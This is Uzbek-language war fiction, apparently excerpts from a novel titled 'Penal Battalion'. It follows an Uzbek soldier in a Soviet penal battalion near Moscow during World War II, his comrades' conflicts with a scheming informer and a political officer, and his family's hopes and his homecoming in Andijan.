Машиналарнинг биридаги аскарлар тушиб тарқалдилар. Кўпчилик нарироқдаги қудуқдан сув олиб сувдонларини тўлдира бошладилар. Аскарларга қараб турар экан, тўсатдан кўзлари чарақлаб кетди. Унинг рўпарасида Каримжон челакдан чўмичга сув олиб сувдонига қуймоқда эди. Нуриддин унинг истиқболига югурди. Икки ҳамқишлоқ маҳкам қучоқлашдилар. Дарахт остига ўтиб бир-бирларидан ахвол сўрай кетдилар. Озгина фурсат ичида қандай воқеаларни, қаерларда бўлганларини бир-бирларига сўзлаб бердилар. Ўн минут ўтар-ўтмас "Машиналарга!" деган команда эшитилди. Иккови зўрға ажралдилар. Машина кета-кетгунча иккови бир-бирига қўл силкиб қолишди. - Абдужалилов! Штаб аскарларидан бири чақирди. Нуриддин шошилиб унинг олдига борди. Штабга, тўғри генерал лейтенант Волохов ҳузурига олиб кирдилар. Катта хонада бир қанча юқори унвонли офицерлар ўтирарди. Генерал унинг олдига юриб келиб икки елкасига қўлини қўйди. - Баракалла, сен ҳақиқий аскарсан! Армия қўмондонининг буйруғини ўқи,- генерал подполковник Пироговга қайрилди. Подполковник Пирогов армия қўмондони генерал полковник Тимофеев ва генерал майор Елисеевларнинг буйруғини ўқиди. Унга кўра, жарима батальони жангчиларининг йигирма еттитасининг барча фуқаролик ҳуқуқлари тикланганди. Шу жумладан, Нуриддин Азлар ва Вадимларнинг ҳам. Омон қолган ягона жангчи дивизиянинг ҳаракатдаги қисмида оддий аскар сифатида қолдирилиши ҳам илова қилинганди. - Мана, хизматларинг эвазига оқландинг. Энди сен совет жангчисисан,- деди генерал,- погонларингни тақишга ҳаққинг бор. Генерал подполковник Трубишевга уни қисмга олиб кетишини, уч кун дам беришини тайинлагандан кейин чиқаверишини айтди. Икки соатдан кейин Трубишев ҳам йиғилишдан чиқди ва уни қисмга олиб кетди. ... Нуриддин Трубишев қисми таркибида бутун Польшани босиб ўтди. Германия территориясида бўлган шиддатли жангларда қатнашди. Икки марта медаль билан тақдирланди. ўалабани Берлинга яқин шаҳарчаларнинг бирида кутиб олди. У дўстлари Азлар ва Вадимни шу қисмга қайтсалар керак деб умид қилганди. Аммо улар билан уруш тугагунча кўришиш насиб қилмади. Уч дўст кейин учрашдилар, фақат орадан ўттиз йил ўтиб, 1975 йил Москвада. ХХХ Ҳар куни бомдодни ўқибоқ далага, буғдой ўримига жўнайдиган Шамсиддин тоға бугун кун чошгоҳ бўлиб кетса ҳам уйда ўралашиб юраверди. Витя билан сигирларнинг тагини тозалади, ўзича узумларни хомток қилган бўлди. Настяга бугун ҳордиқ куни бўлишига қарамай " ҳеч қаёққа кетиб қолма", деб эҳтиётдан тайинлаб қўйди. Бир қўчқорни дарвозага яқинроқ олманинг остига олиб келиб бойлаб қўйди. Олдига ем солиб, сув қўйди. - Нима қиласиз буни бу ерга олиб келиб, қўйларнинг ичида туравермайдими?- дашном берди Мунаввар хола. Тоға унга қараб жилмайди-ю, индамади, ҳовли ичига қараб юрди. Кун пешин бўлганда холага тайинлади. - Ҳалиги, Нуриддинга атаб тикиб қўйган тўнинг турибдими? Дўппи ҳам борми? Олиб чиқиб, узароқ жойга қўй. Ҳеч нарсани тушунмаган Мунаввар хола эрининг бунақа гапидан ҳайрон бўлиб Настяга қараб елка қисди. Тоға эса ичкарига пешин ўқигани кириб кетди. У намозини ўқиб чиқиши билан дарвозадан ўн икки ёшлардаги бола отилиб кирди. - Шамсиддин бобо, Шамсиддин бобо! - Тўхта!- деди тоға.- Худди Нуриддин аканг урушдан келаётгандай бақирасан. Сенга суюнчи икки червон. Ма! Шу дамда дарвозадан икки қўшни кирди. Уларнинг ортидан елкасида қопчиқ, ҳарбий кийимда Нуриддин кириб келди. Мунаввар хола " Болам..." деди-ю, Настянинг қўлига йиқилди. Ҳовли бирпасда тўйхонага айланиб кетди... Кузнинг ўрталарига келиб Настяни эри чақиртирди. Кап-катта бўлиб қолган Витя ҳам, Настя ҳам чол-кампир билан йиғлаб хайрлашдилар. Учови ҳам уларни кузатгани вилоят марказига бордилар. Икковини ўзлари вагонга чиқиб жойлаштирдилар. - Баҳорга чиқиб Нуриддинни уйлаймиз, эринг билан келасан,- тайинлади тоға. Настя эрини албатта олиб келишга ваъда бериб хайрлашди. Учовлари вагондан тушганларидан кейин поезд секин жилди. Настя ҳам, Витя ҳам ойнага юзларини босганларича йиғлашарди. Собиржон Ҳакимов, Андижон вилояти Марҳамат тумани Қовунчи қишлоғи ин: 170800

    Жарима батальони

    Батальон энг сўнгги кучлари билан позицияни қўлдан бермаслик учун жанг¬га ташланди. Йигирмадан ортиқ танк ёндирилди. Икки томондан ҳам шу даражада кўп танклар, тўр¬лар ишдан чиқарилдики, олдинги линияда ишдан чиққан техника ўзига хос баррикадага айланди. Эн¬ди бу ердан немис танклари қаршиликка учрамаган тақдирда ҳам ўтиб кетолмасди. Бомба, снарядлардан ҳаммаёқ ўра бўлиб кетганди. Бостириб келган танклар ортга қайтгандан кейин душманнинг пиёда аскарлари билан юзма-юз қўл жанги бошланди. Жанг бир соатга яқин давом этган бўлса ҳам оқибати аянч¬¬ли эди. Бор-йўғи ўт¬тиз-қирқ нафар одам жон олиб, жон берарди. Комбат Субботин жанг¬чи¬лар билан бирга жанг қиларди. Пулемётлар ишдан чиққан, ўқ-дори тугаб бораётганди, шу пайт орқадан кучли ҳайқириқлар билан Боровкин ва Трубишев қисмларининг жангчилари ҳужумга ташланди. Душман бир зарбада улоқтирилди. Окопларда юзлаб жасадни қолдириб, озгина одами билан қочиб қутулди. Уч чақиримларча душманни қу¬виб борганларидан сўнг иккови қисмга ҳам орқага қайтиш ҳақида буйруқ берилди. * * * Окопга етиб келган комбат оёғида зўрға турарди. Бошяланг, ўнг қўлининг мушти сидирилиб, қонталаш бўлиб кетган, гимнастёркасининг чап билаги йиртилиб тушган, қо¬ши ёрилиб, ўнг юзи қонга бў¬ялган, лабининг чап томонидан ҳам қон сизиб чиқарди. Қўлидаги автоматни ерга ташлади-да, чўк¬калаб қолди. Унинг ёнига Канаев, унинг ортидан Корзун келдилар. Уларнинг аҳволи ҳам комбатникидан кам эмасди. - Батальоннинг қолганини шу ерга йиғайликми? - хаста овозда сў¬ради Канаев. Комбат бош чайқади. - Йўқ. Жангчилар қаерда бўлса, ўша ерда дам олишсин. Фақат Трубишев қисмидан сўраш керак - бизнинг ярадорларга ҳам ёрдам беришсин. - Икки қисмнинг ҳам санитарлари ишга тушишган, ярадорларни ташишяпти... - Яхши,- деди комбат,- ҳозир бехавотирмиз. Икки соатдан кейин йўқлама қиласизлар. Учови ҳам окоп деворига суяниб жим қолдилар. Бу пайтда Нуриддин, Азлар, Фадеев - учови бир чуқур ичида узала тушиб ётиб олишган, учовининг ҳам юз-кўзида тупроқ, қон қотиб қолган, ҳатто юзларини сидиришга ҳам мадорлари етмасди. Уларнинг тепасидан қисм аскарлари ўтишаркан, улардан бири тўхтаб гап қотди. - Оғайнилар, ярадормисизлар? - Сувинг бўлса бер,- деди Фадеев. Уларнинг ёнига икки аскар тушди. Бири дарров сувдонини узатди. Фадеев ўзи ичиб бўлиб Нуриддинга, у Азларга берди. Кейин аскарлар кетдилар. Учови бир-бирларининг елкаларига бош қўйдилар. Шу бўйи қоронғи тушиб юлдузлар чарақлаётган пайтда ўринларидан туриб блиндаж томон судралгандай йўлга тушишди. * * * Қош қорайган пайтда биров чақирди. Кўча эшикни очган Шамсиддин тоға қучоғини очди. - Э, қори, келинг, келинг! Қайси шамоллар учирди? Кеча сизни кўнгилловдим. - Уйда ўтириб зерикдим. Бир суҳбатингизни олай, деб келавердим, - Абдураҳмон қо¬ри остона ҳатларкан, нолиб қўйди, - дамни қаранг, дамни, одам ўзини қаерга қўйишни билмайди. Мунаввар хола юзини тўсиб, қори билан сўрашган бўлди, сўнг дарров айвондан кўрпача олиб чиқиб сўрига солди. - Қалай, соғ-саломатмисиз? Кампир юрибдими? Ўғиллардан хат келяптими? - Шамсиддин тоға ҳол сўради. - Шукур. Биз соғ-саломатмиз. Каттасидан бир ҳафта бўлди хат олдик. Ки¬чиги мана, уч ой бўляптики, дом-дараксиз-да. - Хавотир олманг, хабар келади. Дуо қилинг, худо ўз паноҳида сақласин, боши омон бўлсин. - Шу-шу. Мен доим дуодаман. Кампир қурғур йиғ¬лайверади-да. Хат келсаям йиғлайди, келмасаям йиғлайди. - Бизнинг кампир ҳам шунақа. Нуриддиндан ҳам анчадан буён хабар йўқ. Кампир Насибани «эринг командир, тезда Нуриддинни топсин, хат ёз», деб қўймайди. - Замон тинч бўлса, кўнглингиз тинч бўлади-я. Хаёл қурсин, қаёқларга олиб кетмайди. - Умидни узманг, қори, уруш ҳам тугар, йигитлар ҳам қайтар... - Бу урушнинг охири кўринмайди. Гитлер дегани Москвага яқин кеп қолганмиш. Ҳамма аскарлар ҳозир Москвани қўриқлашяптийкан. - Мамлакатнинг пойтахти бўлгандан кейин шундай қилиш керак-да. - Ҳамма газеталарда, радиода ҳам Гитлерни Москва остонасида тумшуғига соламиз деб ёзишяпти. Исталин шунақа депти: «немисни яқин келтириб туриб, Гирмонга довур қу¬виб бораман». - Энди, ҳар бир ишнинг ўз вақти-соати бор. Эҳтимол, ҳукумат шунга пайт пойлаётгандир, куч йиғаётгандир. - Тўғри айтасиз, куч йиғаётгани рост. Мана, уйимиздаги сўнгги буғдойларни ҳам тафтиш қилиб, йиғиштириб кетишди-ю. - Давлат шунга мажбур бўлиб қолди, шекилли. - Яна бир гап, - қори овозини пасайтирди, - Исталин тилла топаман деб Амир Темурнинг гўрини очганда уруш бошланган экан, тушига Темур кириб «мени тезда жойимга қў¬йиб қўй, уруш тўхтайди», дебди. Исталин Амир Темурнинг суякларини олиб келиб, Самарқандга, ўзининг жойига қўйдирибди. Одамларнинг оғзида шунақа миш-миш. Бировга айтгани қўрқасан. - Ҳа-а, - чуқур хўрсинди тоға,- бундай улуғ одамларнинг руҳини безовта қилиб бўлмайди. - Айтишларича, самолётга солволиб бутун уруш бўлаётган ерларни айлантириб, кейин Самарқандга олиб келишганмиш. Исталин: «мақбарасини олдингидан ҳам чиройли қилиб қўйинглар, мусулмонча расм-русум қи¬линглар»,- деганмиш... - Агар бу табаррук зотнинг ҳурматини қилган бўл¬са, мана кўрасиз, қори, уруш бир ёқли бўлади. - Айтганингиз келсин, тезроқ тугасин, болаларимиз соғ-саломат қайтиб ке¬лишсин, - қорининг овози титраб кетди. Шундан ке¬йин гаплари бошқа мавзуларга бурилиб, анча маҳал суҳбатлашганларидан ке¬йин қори сўради: - Шамсиддин ака, олдингизга мусофир юртлардан юрган ўғилларимни дуо қилинг, деб келгандим. Бир дуо қилинг, худойим барчасини соғ-саломат бағ¬римизга қайтарсин. Тоға қорининг болалари, урушда юрган барча одамларнинг ҳақига узоқ дуо қилди. Қори рўмолчаси билан мижжаларини арта-арта ўрнидан турди. * * * Дивизия штабининг маълумотига кўра, душманнинг ҳужуми тўхтади. У Москвага ёриб ўтолмаслигини англади. Энг асосий кучларидан айрилди. Энди бор эътиборини мудофаага қаратиб, Германиядан мадад кучлари келишини кутарди. Ана шу пайт¬дан фойдаланиб, батальонни қайта тўлдириш, позицияни мустаҳкамлаш ҳамда керак бўлиб қолганда душман устига бостириб боришга тайёргарлик кўриш ҳақида буйруқ берилди. Штаб маълумоти рост бў¬либ чиқди, чунки беш кун ўтса ҳамки, нариги томондан бирорта ўқ отилмади. Бироз ўтиб, дивизия штабидан янги буйруқ келди. Бу буйруққа кўра, батальон уч чақирим олдинга силжиди. Яна окоп қазиш плацдарм қуриш бошланди. Батальонга ян¬ги келганларнинг кўпчилиги бу сафар турмадан келтирилганлар эди. Петрушин бошчилигида окоп қазиб, ёғоч бостираётган жангчилар ҳар замонда ҳазил-ҳузул ҳам қилиб қўйишади. Айниқса, Дубов жуда ҳазилкаш. Унинг сал нарсага ловуллаб кетадиган феъли бўлса ҳам, ўзи жуда дилкаш йигит. Шу билан бирга, у ҳеч ким ва ҳеч нарсадан тап тортмаслиги жангда аён бўлди. Нуриддин ва Азлар билан чиқишиб қолди. Мана ҳо¬зир ҳам Азлар, Фадеев билан бирга бешови бир жойда иш қил¬яптилар. Бу ерларнинг тупроғи бўш бўлгани учун салга шувиллаб тўкилиб кетади. Шунинг учун окопларнинг ёни-га қозиқ қоқиб, унга ёғоч, шох- шаббаларни боғлаб мустаҳкамлайдилар. Ишларини тушликка яқин тугатай деб турганларида Гречков келиб қолди. - Йигитлар ишни тўхтатинглар. Тушлик қилиш учун ярим соат. Ярим соатдан кейин ҳамма анови ялангликка тўпланади. Дивизия штабидан одам келган, сиёсий суҳбат ўтказади. Командирнинг гапи шун¬доқ ҳам чарчаб турган жангчиларга хуш ёқди. Тушлик дарагини эшитиб, Дубов қўлини кўтариб «Ура!» деб қўйди. Қатор бўлиб овқат тарқатилаётган жойга йўл олдилар. Тушликдан кейин учта ротани уч жойга тўпладилар. Штабдан келган офицерлар уч гуруҳга бўлиниб, роталарда алоҳида-алоҳида суҳбат бошладилар. Гречков ротасига бириктирилган икки офицернинг бири майор Пирогов эди. Унга сўз берилганда душман ҳозир чекинишни бошлагани, энди батамом кучи қирқилгани, яқин кунлар ичида кенг миқёсдаги ҳу¬жумлар бошланишини, бунинг учун доҳий Сталин бошчилигида махсус режа ишлаб чиқилаётганини гапириб берди. У сўзлар экан, жангчиларни бир-бир кузатарди. Нигоҳлари Нуриддинга келганда тўх¬тади. Ана, у излаган йигит. Анча озиб кетибди, би¬роқ қарашлари тетик. «Хайрият, соғ-саломат экан», ўйлади Пирогов. У жангчиларни жон-жаҳди билан душманга қарши курашга чақирди. - Агар сидқидилдан кураш олиб борсангиз, совет ҳукумати ва доҳий Сталин сизларнинг бор айбингизни кечиради. Барча ҳақ-ҳуқуқларингиз, унвонларингиз, жанговар медаль ва орденларингиз қайтарилади. У гапирар экан, «қандай қи¬либ бу ўзбек йигити билан гаплашсам экан», деб йўл изларди. Ниҳоят, маърузасини тугатаётган чоғда мия¬¬сига бир фикр келди. Ёнидаги катта лейтенантга (у подполковник Страшевнинг ёрдамчиси эди) қаради. - Бу жаримачиларнинг айримлари гапимни тушунмади. Айниқса, ўрта осиёликлар. Шулар билан алоҳида суҳбатлашсам бў¬ладими? - деб сўради. - Ихтиёрингиз, ўртоқ майор, - деди униси. Жангчиларга рухсат берилгач, ҳалиги катта лейтенант Нуриддин билан Азларни олиб қолиб, уларнинг фамилиясини сўради. - Ўртоқ майорнинг гапларини тушундингларми? - Тушундик, гражданин катта лейтенант, - деди Азлар. - Ўртоғинг ҳам тушундими? Русча биладими? - у Нуриддиннинг туришиданоқ русча билмаслигини сезди, шекилли. - Мен ўзим тушунтираман. - Нимани тушунтирасан, заҳарланган миянг билан. Ҳозир ўртоқ майор сенларга дона-дона қилиб қонинг билан гуноҳингни ювишинг кераклигини тушунтиради, қонинг билан! Сен чириндиларнинг қонинг тўкилиб тугамагунча, биз ғалаба қилолмаймиз. У Пироговга «мен ўртоқ подполковникнинг олдида бўламан», деди-да, нариги томондаги роталарда дағдаға қилаётган Страшев томон кетди. - Яхшиям, икковингиз ҳам омон экансизлар, - ма¬йор узоқдан кўрган одам пўписа қиляпти деб ўйлаши учун қўлини бигиз қилиб нуқиб гапирди, - бош¬қалар ҳам борми? - Ҳаммамиз соппа-соғ¬миз, - жавоб берди Азлар. - Бошингни хам қилиб тур, мендан дакки эшитаётгандай тут ўзингни. Уй¬ла¬ринг¬га хат ёзинглар, йигитлар. Шеригингга айтиб қўй, унинг гапи тўғри бў¬либ чиқди. Ота-онасига мендан салом айтиб қўй¬син. Лекин менинг фамилиямни хатида тилга олмасин. Шунчаки, бир офицер десин. Хўп, сизлар билан гапим тамом. Ўзингларни эҳтиёт қилинглар. У сумкасидан тўрт ва¬рақ қоғоз олиб, битта қалам би¬лан Азларга тутди. Қо¬ғозни кўриб Азларнинг кўзлари ёниб кетди. Ҳа¬қи¬қатдан ҳам уларда қоғоз танқис эди. Шу билан Пирогов кетди. Азлар Нуриддинга кўз қисиб, унинг елкасига қўлини ташлади. - Яхши одам экан. Сени унутмабди. Уйингга хат ёзишингни тайинлади. * * * Ўша куни оилада ҳа¬қиқий байрам бўлиб кетди. Почтачи иккита хат келтирганди: бири Нуриддиндан, бири Настянинг эридан. «Москвага яқин жойдамиз, - деб ёзарди Нуриддин, - соғ-саломатман. Мендан хавотир олманглар. Яқинда уруш тугаб қолса керак, немислар чекинишни бошлади. Худо насиб қилса, бир йилда урушни тугатиб борамиз». Яна хатида аллақандай бошлиқ унга уйига тез-тез хат ёзиб туришини, «ота-онангга салом айт», деб тайинлаганини ёзибди. Настя ҳам эрининг хатини уларга айтиб берди. Олдинги хатида айтган ас¬карни яна учратганини айтибди. Чол-кампирга салом йўллабди. - Улар учрашишибди. Энди ўғлингиздан хавотир олманг. Володя ундан бохабар бўлиб туради. - Худоё, умри узоқ бўл¬син, - йиғлаб дуо қилди Му¬наввар хола. Шамсиддин тоға ҳам мамнун бўлиб бошини силкир, нуқул жилмайиб, шукрона келтирарди. Нуриддиндан хат келгани гўё боласиз ҳовлида янграган чақалоқ йиғисидай бутун маҳаллага қувонч олиб келди. Қўни-қўшнилар, ҳатто, бошқа маҳаллалардан одамлар келишди. Эртаси куни тоға қўйлардан бирини сўйиб, маҳаллага ош берди. Хола Нас¬тяни ишга жўнатмади. - Бу қўйни эринг билан Нуриддинжонга сўйишди. Шундай қилишса, улар урушдан эсон-омон келишади,- деб унга тушунтирди. * * * Батальонга яна янгиларни келтиришди. Бир неча аскар Петрушин взводига тушди. Булардан би¬ри рангпар, кўринишидан жуда заҳар одам эканлиги билинадиган Игорь Кружилин деган йигирма олти-йигирма етти ёшлардаги одам бўлиб, уни келишини взводдагилар ёқинқирамай қабул қилишди. Ҳар гапини тутатиб, саситиб гапирадиган бу одам биринчи навбатда Петрушиннинг ўзига ёқ¬мади. Аммо на чора? У командир, қабул қилишга мажбур. Кружилин - собиқ сержант, қисм ошхонасидан озиқ олиб чиқиб, бошқа қисмдагиларга сотгани учун бу ерга жўнатилибди. У келган ку¬ниёқ Петрушинга «агар сен ҳалок бўлсанг, сенинг ўр¬нингга мени командир этиб тайинлашади, мен ҳам сержантман», деди. Унинг гапига Фадеев тумшуғининг остига муштини олиб бориб жавоб берди. - Бу ерда бировнинг ризқига чанг соладиган ўғ¬рилар командир бўлолмайди. - Ҳазиллашдим... ҳазиллашдим,- деб қутулди Кружилин. Етти кундан кейин душман яна ҳужумга ўтди. Бу сафарги жанг узоқ бўлмади. Тўртта танк ёндирилгандан сўнг немислар ортига қайтди. Бу разведка жанги эканини англадилар. Эртасига штабдан батальонни ҳужумга ўти¬ши ҳақида буйруқ берилди. Бир неча соат давом этган жангдан кейин позицияга қайтдилар. - Уруш бошлангандан буён биринчи марта биз ҳу¬жумга ўтдик, йигитлар,- Гречков жангчиларига далда берди, - бундан бу ёғига немисни қувишни бошлаймиз, дегани. Унинг гапини жангчилар маъқуллашди. Ҳамма ўз ишига машғул бўлди. Ҳар доимгидек Нуриддин билан Азлар ёнма-ён ўтиришарди. Уларнинг қаватида эса Фадеев ва Дубов. - Азлар, - деб қолди Фадеев, - анови нусхани ҳужум пайтида сизларнинг ёнларингда кўрдим. Шу менга ёқмаяпти. Унинг ўр¬ни бошқа ерда эди. - Нима бўпти, юрса юргандир. - Бунинг ичида нима гап борлигини билмаймиз. Нияти яхши эмас. - Нима нияти бор¬¬лигини икки кунда ичидан суғуриб оламан,- деди Михаил Дубов, - ахир, мен филологман-ку! - Кўрамиз. Бундайларни тилидан илинтириш қийин. - Мен илинтираман. Ўзи билмай қолади. Эртасига яна ҳу¬жумга ўтдилар. Бу сафар жанг оғир бўлди. Душманнинг олдинги линиясига етиб боришиб, қўл жангига киришдилар. Бироқ кучлар тенг эмас эди, чекинишга мажбур бўлдилар. - У тавия ҳужум пайтида нуқул бизнинг ортимиздан юрди, эътибор бердингми? - сўради Азлар жангдан кейин. -Ортга қарашга вақт бўлмади-ку. - Вадимнинг гапидан кейин мен эътибор бердим. Унинг жойи бошқа ёқда-ю, ҳужум бошланиши билан бизнинг ортимизда пайдо бўлиб қолди. Нуриддин дўстининг гапига эътибор бермай, елка қисиб қўя қолди. Кечга томон шивалаб ёмғир ёғиб ўтди. Ўзи доим шунақа: жанг бўлгандан ке¬йин ёмғир ёғади. - Нега доим жангдан кейин ёмғир ёғади? - сўради Азлар. - Одамзот тўккан қонни табиат ювмоқчи бўлса керак-да, - жавоб берди Фадеев. Ҳамма маъюс эди. Ўша кундан кейин Дубов бўш қолди дегунча Кружилиннинг олдига боради. Ўзини яқин олиб гаплашади. У дилкаш йигит бўлгани учун ҳар қандай одамнинг кўнглига кира оларди. Бир неча кун ўтгач (бу орада яна уч марта жанг бўлиб ўтди), улар ўртасида қуйидагича гап-сўз бўлиб ўтди. - Эҳ, яна қадрдон қишлоғимга, қадрдонларим бағрига қайтармикинман,- зорланди Миша. - Бу ўзингга боғлиқ,- жавоб берди Кружилин,- ўзингни асрасанг, етасан. - Қандай қилиб ўзимни асрайман? Бу уруш бўлса. - Сен ўзингга қалқон топ. - Қанақа қалқон? Қаердан топаман? - Тирик қалқон. Ана, бўлинмангда иккитаси юрибди. Ҳалиги, Абдужалилов, Мақсудовлар. - Ие, қанақасига улар менга қалқон бўлади? - Ҳужум пайтида сен уларнинг орқасида юр, уларни паналаб юр. - Қўрқоқлик қилиб дегин? - Бу қўрқоқлик эмас, ишбилармонлик. Биз доим шунақа қилардик полкда. Шунинг орқасидан медаль, орден олганлар бор. Ҳатто, биттаси герой ҳам бўлган. Жангда биз доим уларни олдингга ўтказиб, панасига ўтиб олардик. Улар фар¬қига боришмайди, «олға» деса кетаверишади. Фақат билдириб қўйма. Аслида Москва мудофаасини ҳам шулар тутишди. Генерал Панфиловни достон қилишяпти. Ўша дивизия ҳаммаси шу қоралардан иборат эди. Эътибор берсанг, бирортасининг фамилиясини айтишмайди. - Шуларнинг панасида юриб, қаҳрамон бўлганмиз дегин? - Мен эмас, шунақалар ротада бор эди. - Қанақа қилиб қаҳрамон бўлган, айтиб бер? - Бир куни бизнинг ротага қандай қилиб бўлмасин «тил» тутиб келиш ҳа¬қида буйруқ бўлди. Рота командиримиз ақлли одам эди. Дарров тўрттасига топшириқ бериб, немислар томонга жўнатди. Икки кун йўқ бўлиб кетишди. Руденко деган йигит бўларди. Шу уларнинг қайтиш йўлини пойлаб ётса, учинчи кун йўл¬да пайдо бўлиб қолишибди. Бир немис генералини ҳайдаб келишаётганмиш. Қандай қилиб қўлга туширишган, худо билади. Руденко абжир йигит эди. Дарров олдиларини тўсиб борибди-да, «мени сизларнинг олдингизга командир жўнатди, асирни менга бериб, сизлар тезда артиллериячиларга тўп-ларни орқага силжитишга ёрдам бераркансизлар», дебди. Тўртови лаққа тушибдилар-у, артполкка қа¬раб кетишибди. Руденко асирни олиб бориб штабга ўзининг номидан топширибди. Унга Совет Иттифоқи Қаҳрамон унвони беришди. Яна қанча пул билан. Кўр-дингми? - Улар-чи? Улар даъво қилишмадими? - Тил билса даъво қилишади-да. - Э, қойил. - Агар улар мен билан бир бўлинмада бўлганида, қандай фойдаланишни ўзим билардим. Шундай бўлса ҳам бўш келмайман, ҳар жангда уларга яқинлашишга ҳаракат қиламан. Михаил бор гапни бирорта сўзини қолдирмай, Фадеевга айтиб берди. У эса Петрушинга етказди. Шундан кейин Петрушин взводдаги жангчиларга та¬йинлади: «Кимда ким жанг пайтида ўз ўрнини йўқотиб қўйиб, бошқа бўлинмага ўт¬са, трибунал кутади». Фадеев, Петрушин, Кварцов, Дубов, Громов, Алексеевлар пинҳона йиғилишиб, Кружилиндан доим кўз-қулоқ бўлишни маслаҳат қилдилар. Бундай одамлар НКВД айғоқчисига айланиши тайин эди. * * * Ҳаш-паш дегунча, бир неча ой ўтди. Қаҳратон қиш забтига олган. Қор шу даражада қалинки, баъзи ўй¬димроқ жойларда одам бў¬йигача чиқади. Баъзан қаттиқ шамол туради, очиқ далада қор устини ойнадай теп-текис қилиб ташлайди: қор кўп жойлардан пастқам ерларга қорни суради. Ер бети супрадай оппоқ, теп-текис бўлиб қолади. Қор ёғ¬маган кун йўқ. Ҳаво очилиб кетса, совуқ ҳаммаёқни такирлатиб ташлайди. Шунақа пайтда жангчилар окоп ичига ўт ёқишади. Офицерлар «ўт ёқмайсан» деб тихирлик қилишади, сабабки, душман шу ерни нишонга олиши мумкин. Ёқилган ўт¬ни ўзлари келиб мажбурлаб ўчиришади. Жангчилар бир ерга ғуж бўлиб олишади. Бир-бирларининг пинжига кириб илийдилар. Шунча вақт ўтса ҳам батальон турган жойини ўз¬гартирмади. Гоҳ ҳужумга ўта¬ди, гоҳ мудофаада туради. Душман ҳам ҳимоя истеҳкомини маҳкам қилиб олди. Бутун армиянинг астойдил ҳужумга ўтиши учун имкон етилмаганди. Армияда таъминот яхши эмасди. Нафақат озиқ-овқат, балки қурол-яроғ, ўқ-дори ҳам етишмасди. Душман томон ор¬қа¬дан мадад кучлари келишини, бу томон эса таъминот келишини кутарди. Азларнинг истаги билан Нуриддин иккови окопнинг ёнини кавлаб, ер¬тўла қилдилар. Уни ходалар, шох-шаббаларни ташиб келиб, мустаҳкамладилар. Уч кунда ростмана бошпана қи-либ олишди. Ертўланинг оғзини Фадеев қаёқдандир топиб келган қалин, катта брезент билан тўсдилар. Энди бу ерда бемалол Петрушин бошчилигида олтовлон тунаса бўларди. Ўртага ҳатто ўчоқ ҳам қилиб олдилар. Ўралашиб келиб ичларига суқилиб кириб олмоқчи бўлган Кружилинни Фадеев ҳайдаб солди. Лекин у бир қитмирлик қилди. Кунларнинг бирида Нуриддин билан Азларни «сизларни рота командири чақиряпти», деб келди. Иккови унинг гапига ишониб, ортидан эргашдилар. Нарироққа, Кружилиннинг бў¬линмаси жойлашган ерга етгач, «командир тайинлади, шу ерга ертўла кавлар экансизлар», деди. Уларнинг ортидан изма-из етиб келган Фадеев боплаб унинг таъзирини берди. Камига Гречковнинг олдига судраб борди-да, бор воқеани айтди. Гречков Кружилиннинг юзига тикилиб турди-да, сўради: - Бу қанақа батальон биласанми? - Биламан. Бу - жарима батальони, сен эса командирсан. - Тўғри, бу жарима батальони. Аммо мен командир эмас, батальоннинг жангчисиман. Демак, мен шу одамларнинг бириман, буларга буйруқ бермайман, фақат илтимос қиламан: биринчи жангдаёқ сени отиб ташлашади. Кружилин англадики, буларнинг қўлидан ҳар иш келади. Гречков шунчаки дўқ қилмаётганди. Шунинг учун Кружилин бор маҳоратини ишга солиб, уларга ялинди, бир марта, фақат бир марта кечиришларини сўраб, ялинди. - Майли, сени бир марта кечирамиз, лекин ёдинг¬да тут, иккинчи марта бу ҳунаринг кечирилмайди,- деди Гречков. Шундан кейин Кружилин Азлар билан Нуриддинга яқинлашмай қўйди. Билдики, бу иккови ўзи ўйлаган одам эмас, уларни ҳимоя қилувчилар, уларга бир гап бўлса, эҳтимол, қасд олувчилар бор. Шу воқеа туфайли иккови яна-да ҳушёрроқ бўлиб қолдилар. - Нур, бу ифлос бошимизга бало бўлмасайди,- хавотирланди Азлар. - Худо сақласин, дўстим. Худодан ўзга нажоткоримиз йўқ,- деб жавоб берди Нуриддин. ХХХ Бир ҳафта ўтгандан кейин батальонга подполковник Страшев тўртта аскари билан келди. У келибоқ рота командирларини тўплади ва улардан тезда роталардаги тартибни бузаётган жангчилар ҳақида ахборот беришларини талаб қилди. Табиийки, командирлар бундай маълумот бермадилар. У эса бундан дарғазаб бўлиб бақира бошлади. - Нима?! Батальонда бетартиб биронта аскар йўқми?! Ҳаммаси совет кишисига хос фазилатли одамларми?! У ғазаб билан нигоҳини Канаевга тикди. - Мен жангчилар орасида бунақасини билмайман, гражданинг подполковник, агар шунақаси чиқиб қолса, ўзим сизнинг олдингизга югуриб бораман,- деди Канаев. - Сенда-чи?!- Бу сафар Корзунга дўлайди.- Сенинг харомиларинг ҳам топ-тозами?! - Сен уларнинг харомилигини қаердан биласан?!- тап тортмай унга тикилди Корзун. - Нима?! Сен тоза виждонли совет офицерига гап қайтарасанми, чириган душман?! - Йў-ўқ, чириган мен эмас, сен чиригансан, сенинг калланг чириган,- жавоб берди Корзун. Воқеанинг бундай тус олиб кетишини ҳеч ким кутмаганди. Лекин энди ортга қатиш ҳам мумкин эмас, бўлар иш бўлганди. - Борисенко!!!- қичқирди Страшев. Шу заҳоти унинг тўртови аскари блиндажга югуриб киришди. - Бу ифлосни ушланг, ҳибсга олинг! Трибунал олдида жавоб беради! Тўртови Корзун томон интилган пайтда у шарт пистолетини чиқариб уларга ўқталди. - Мени тирик ололмайсан! Тўртови аскар елкаларидан автоматларини олаётган чоғда Субботин илдамлик қилди. У орқасидаги тахта супада ётган икки автоматни олди-да, бирини Канаевга, бирини Гречковга ирғитди-ю, ёнидан пистолетини чиқариб "Отставить!" дея қичқириб юборди. У шу билан Корзунни ўлимдан қутқариб қолди. Агар икки-уч сония кечикканида Корзунни шу ерда отиб юборишарди. Икки томон ҳам бир-бирларига қурол ўқталиб қолдилар. - Нима қиляпсан, комбат?! Ҳали буларнинг бошлиғи сенмисан?- Страшевнинг кўзлари ола-кула бўлиб кетди.- Мен сенга кўрсатиб қўяман! - Мен буларнинг командириман, жангчимни сенга бериб қўймайман,- деди Субботин. - Сен бизни отоласанми? Кимга қурол кўтаряпсан? - Отаман. Мен ўз номи билан жаримачиман. Ҳаммангни отиб шу ерга кўмиб қўяман. Страшев шунда кимнинг олдида турганини, бу ерда гапини ўтказолмаслигини тушунди. - Қуролларни туширинг!- буюрди аскарларига,- Кетдик, штабга қайтамиз. У чиқиб кетар экан Субботинга ўқрайди. - Кўрамиз ҳали, сен туғилганингга пушаймон бўласан! Ҳамманг билан ҳисоб-китоб 